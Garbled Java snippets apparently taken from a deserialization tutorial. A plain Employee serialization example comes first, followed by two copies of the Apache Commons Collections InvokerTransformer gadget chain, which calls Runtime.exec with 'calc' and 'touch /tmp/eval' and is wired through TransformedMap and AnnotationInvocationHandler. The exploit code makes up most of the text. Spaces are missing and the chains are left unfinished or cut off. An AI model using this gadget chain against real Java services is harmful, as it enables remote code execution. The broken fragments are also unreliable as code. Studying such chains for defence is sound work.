publicstaticvoidmain(String[] args){ Employee e = new Employee(); try{ FileOutputStream fileOut = new FileOutputStream("1.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(e); out.close(); fileOut.close(); System.out.println("Serialized data is complete."); }catch (IOException i){ i.printStackTrace(); } }
publicstaticvoidmain(String[] args){ Employee e = null; try{ FileInputStream fileIn = new FileInputStream("1.bin"); ObjectInputStream in = new ObjectInputStream(fileIn); e = (Employee) in.readObject(); in.close(); fileIn.close(); }catch(IOException i) { i.printStackTrace(); return; }catch(ClassNotFoundException c) { System.out.println("Employee class not found"); c.printStackTrace(); return; } System.out.println(e.toString()); }
publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"calc"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map normalMap = new HashMap(); normalMap.put("value", "value");
publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"touch /tmp/eval"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map normalMap = new HashMap(); normalMap.put("value", "value");
Map transformedMap = TransformedMap.decorate(normalMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");